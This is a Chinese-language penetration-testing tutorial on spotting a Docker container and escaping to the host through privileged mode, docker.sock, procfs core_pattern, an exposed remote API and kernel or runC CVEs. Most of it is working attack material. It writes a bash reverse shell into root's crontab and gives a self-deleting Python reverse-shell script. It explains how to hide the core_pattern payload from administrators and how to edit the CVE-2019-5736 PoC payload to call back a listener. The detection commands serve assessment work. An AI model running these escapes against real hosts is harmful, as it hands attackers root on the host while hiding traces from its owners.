在渗透测试过程中,有时拿到一个目标之后发现并不是服务器本身,而是一个虚拟容器,很多时候就不知道该如何获取到宿主机的控制权限。本篇文章主要介绍在拿到一个服务器权限之后如何判断是否为容器,以及介绍一些常见的容器逃逸的检测方法以及利用方式,提供网上一些检测工具。

1、如何判断当前环境是否为docker容器?

可通过执行如下命令判断:

cat /proc/1/cgroup | grep -qi docker && echo "IS Docker" || echo "Not Docker"

 

命令解释:

cgroup:可以通俗的理解为用户和组的关系列表,是Linux内核提供的一种机制,可根据需求将一系列任务及其子任务整合到按照资源分配等级不同的组里面,为系统资源管理提供统一框架。

 

grep -qi:grep命令查询内容,-q不打印检索结果,-i不区分大小写。

也就是说在”/proc/1/cgroup“文件中搜索匹配”docker“字符,如果匹配的到输出”IS Docker“否则输出”Not Docker“。

2、如何逃逸容器?

常见方法有三种:①不安全的配置;②相关程序漏洞;③内核漏洞。

 

一、不安全的配置

1、特权模式

执行如下命令,如果返回的是Yes则说明当前是特权模式,如果返回的是No则不是。

cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Yes" || echo "No"

当使用特权模式启动容器时,可以获取大量设备文件访问权限。因为当管理员执行docker run --privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。此时就可以将对方主机的主目录挂载并进行写文件操作,将反弹shell的命令写入计划任务。

启动一个容器

利用方法如下:

①查看磁盘文件fdisk -l

 

②将/dev/sda1也就是磁盘挂载到本地的任意文件下

 

此时这个yuuki目录下的就是容器的宿主机本机的根目录,之后就可以进行写文件操作。

③写入计划任务

vps设置监听

nc -l 9999(mac上使用nc)

写入计划任务

echo '****bash -i >& /dev/tcp/192.168.1.100/9999 0>&1' >> /yuuki/var/spool/cron/root

当遇到反弹不回来shell时可以参考文章

https://m3lon.github.io/2019/03/18/%E8%A7%A3%E5%86%B3ubuntu-crontab%E5%8F%8D%E5%BC%B9shell%E5%A4%B1%E8%B4%A5%E7%9A%84%E9%97%AE%E9%A2%98/

 

 

2、挂载Docker Socket

执行如下命令,如果返回的是Yes则说明当前是挂载了Docker Socket,如果返回的是No则不是。

ls /var/run/ | grep -qi docker.sock && echo "Yes" || echo "No"

当启动容器时挂载了docker.sock,也就是docker in docker,在docker容器中调用和执行宿主机的docker,将宿主机的docker文件和docker.sock文件挂载到容器中。

docker run --rm -it \
  -v /var/run/docker.sock:/var/run/docker.sock \
  -v /usr/bin/docker:/usr/bin/docker \
  ubuntu \
  /bin/bash

利用方式如下:

①检测是否挂载了 Docker Socket

②查找挂载的路径

ls /var/run/ | grep -qi docker.sock && echo "Yes" || echo "No"

find / -name docker.sock

③在容器中查看宿主机docker信息

docker -H unix:///var/run/docker.sock info

④运行一个新容器并挂载宿主机的根目录

docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu /bin/bash

⑤计划任务写shell或写ssh秘钥。

 

3、挂载procfs

执行如下命令,如果返回的是Yes则说明当前是挂载了procfs,如果返回的是No则不是。

find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Yes" || echo "No"

命令解释:wc -l是指用于计算字数显示行数。

procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。此时就可以在挂载了procfs的容器中利用core_pattern后门实现容器逃逸。

启动一个容器并挂载procfs 

docker run -itd -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern  ubuntu

利用过程如下:

①检查是否挂载了procfs

②编辑脚本.x.py放置在tmp目录中

import os
import pty
import socket
lhost = "192.168.1.100"
lport = 10000
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    os.remove('/tmp/.x.py')
    s.close()
if __name__ == "__main__":
    main()

③编辑崩溃程序crash.c放置在tmp目录中

#include <stdio.h>

int main(void)
{
    int *a = NULL;
    *a = 1;
    return 0;
}

④如下图执行

 

然后vps中nc监听即可。

这其中payload中使用空格加\r的方式,覆盖掉了真正的|/tmp/.x.py。这样一来,即使管理员通过cat /proc/sys/kernel/core_pattern的方式查看,也只能看到core;

/tmp/.x.py是一个隐藏文件,直接ls是看不到的;

os.remove('/tmp/.x.py')在反弹shell的过程中删掉了用来反弹shell的程序自身;

按照上述语句操作,最终我们是无法获得预期效果的*。这是因为Linux转储机制对/proc/sys/kernel/core_pattern内程序的查找是在宿主机文件系统进行的,而我们的/tmp/.x.py是容器内路径。可以在容器中先查看容器在宿主机中的真正位置

cat /proc/mounts | grep docker

然后改变payload即可使得程序在奔溃时能顺利找到容器内部的py文件了。

 

 

4、挂载主机根目录

执行如下命令,如果返回的是Yes则说明当前是挂载了根目录,如果返回的是No则不是。

find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo "Yes" || echo "No"

当容器挂载了宿主机根目录,就可以直接写计划任务或ssh秘钥。

5、Docker remote api未授权访问

执行如下命令,如果返回的是Yes则说明当前是存在未授权,如果返回的是No则不是。

IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Yes" || echo "No"

这种情况其实是服务器开起了docker的api且没有做限制,开启方式:

docker daemon  -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

此时只要用客户端去连接服务端即可(前提是两个版本要一样)

docker -H 192.168.1.18:2375 ps

也可以参考官方指导书,通过网页访问的方式操作服务器docker。https://docs.docker.com/engine/api/v1.23/

 

 

二、内核漏洞

1、CVE-2016-5195 DirtyCow(脏牛)逃逸

当通过执行命令uname -r,如果在 2.6.22 <= 版本 <= 4.8.3 之间说明可能存在 CVE-2016-5195 DirtyCow 漏洞。

环境搭建

下载测试容器

git clone https://github.com/gebl/dirtycow-docker-vdso.git

启动容器

宿主机环境

 

容器环境

 

进入dirtycow-vdso目录执行make,然后执行命令./0xdeadbeef 192.168.1.100:9999

在vps上设置监听即可。

 

2、CVE-2020-14386

执行 uname -r 命令,如果在 4.6 <= 版本 < 5.9 之间说明可能存在 CVE-2020-14386 漏洞。

 

3、CVE-2022-0847 DirtyPipe 逃逸

执行 uname -r 命令,如果在 5.8 <= 版本 < 5.10.102 < 版本 < 5.15.25 < 版本 < 5.16.11 之间说明可能存在 CVE-2022-0847 DirtyPipe 漏洞。

 

 

4、CVE-2019-5736 runC逃逸

Docker版本 < 18.09.2,runC版本< 1.0-rc6,可以通过特定的容器镜像或者exec操作可以获取到宿主机的runC执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。

环境搭建

准备文件

#!/bin/bash
# date: 20190523
# author: thinkycx
# Description: you can use this to install vulnerable docker ( CVE-2019-5736 docker runc escape )
#              tested on centos7/ubuntu16.04
# Usage:
#       1. curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh
#       2. run docker_escape in docker container
# 



_centos_docker_old_version(){
    sudo yum install containerd.io
    wget https://download.docker.com/linux/centos/7/x86_64/stable/Packages/docker-ce-18.06.0.ce-3.el7.x86_64.rpm
    sudo yum install docker-ce-18.06.0.ce-3.el7.x86_64.rpm
    # sudo yum install docker-ce-cli
    # I cannot find a version matches with the docker-ce, so I didn't install it.

    # docker --version
    # Docker version 18.06.0-ce, build 0ffa825

    # more info
    # It seems that we can use the scirpt to install docker. I haven't tested it.
    # apt-get -y install curl
    # curl -fsSL test.docker.com -o test-docker.sh
    # VERSION=18.03.1 sh test-docker.sh
}

centos_install_docker(){
    # date 20190523
    # ref https://docs.docker.com/install/linux/docker-ce/centos/#install-using-the-convenience-script
    echo "[*] uninstall old..."
    sudo yum remove docker \
                  docker-client \
                  docker-client-latest \
                  docker-common \
                  docker-latest \
                  docker-latest-logrotate \
                  docker-logrotate \
                  docker-engine
    # The contents of /var/lib/docker/, including images, containers, volumes, and networks, are preserved. 
    # The Docker CE package is now called docker-ce

    # Install using the repository
    ## SET UP THE REPOSITORY
    ### Install required packages. yum-utils provides the yum-config-manager utility
    sudo yum install -y yum-utils \
                device-mapper-persistent-data \
                lvm2
    ### set up the stable repository.
    sudo yum-config-manager \
    --add-repo \
    https://download.docker.com/linux/centos/docker-ce.repo


    # install a specific version of Docker CE
    #yum list docker-ce --showduplicates | sort -r

    # sudo yum install docker-ce-<VERSION_STRING> docker-ce-cli-<VERSION_STRING> containerd.io
    # e.g docker-ce-18.09.1
    #sudo yum install docker-ce-18.09.6 docker-ce-cli-18.09.6 containerd.io

    # check  GPG key, verify that the fingerprint matches
    # 060A 61C5 1B55 8A7F 742B 77AA C52F EB6B 621E 9F35

    _centos_docker_old_version

    sudo systemctl start docker
}

ubuntu_install_docker(){
    # use script to install docker on ubuntu
    curl -fsSL https://get.docker.com -o get-docker.sh && \
    sudo VERSION=18.06.0 sh get-docker.sh
    sudo systemctl start docker

}


install_dependencies(){
        source /etc/os-release
        echo "OS: ", $ID 
        if [ $ID == "centos" ]; then
          centos_install_docker
        elif [ $ID == "ubuntu" ]; then
          ubuntu_install_docker
        else
          echo "[!] cannot support your OS."
          exit
        fi 
        echo "[*] start to run docker..."
        docker run -itd ubuntu:18.04 "/bin/bash" 
}


# bash main...
install_dependencies

# Please run it manually in docker container.
docker_escape(){
    # run commands in container as to escape docker container . 
    # yous should compile POC yourself
    # https://github.com/Frichetten/CVE-2019-5736-PoC
    # compile main.go on macOS :
    # $ CGO_ENABLED=0 GOOS=linux GOARCH=amd64  go build -o poc main.go 
    apt-get update -y && \
    apt-get install curl -y  && \
    apt-get install libseccomp-dev -y 

    curl URL -o poc && \            
    chmod u+x ./poc
    ./poc
}

对该文件install.sh赋予777权限并运行。

# 下载POC
git clone https://github.com/Frichetten/CVE-2019-5736-PoC

# 修改Payload
vi main.go
payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.1.102/9999 0>&1" (vps设置nc监听)

# 编译生成payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

将编译好的main文件上传到容器中,赋予777权限并执行

 

服务器中管理员通过exec进入容器,触发payload,vps收到shell

 

参考链接:

检测脚本https://github.com/teamssix/container-escape-check

https://zhuanlan.zhihu.com/p/266185214

https://zone.huoxian.cn/d/990

https://teamssix.com/220318-164446.html

 

2022-03-23 15:14:06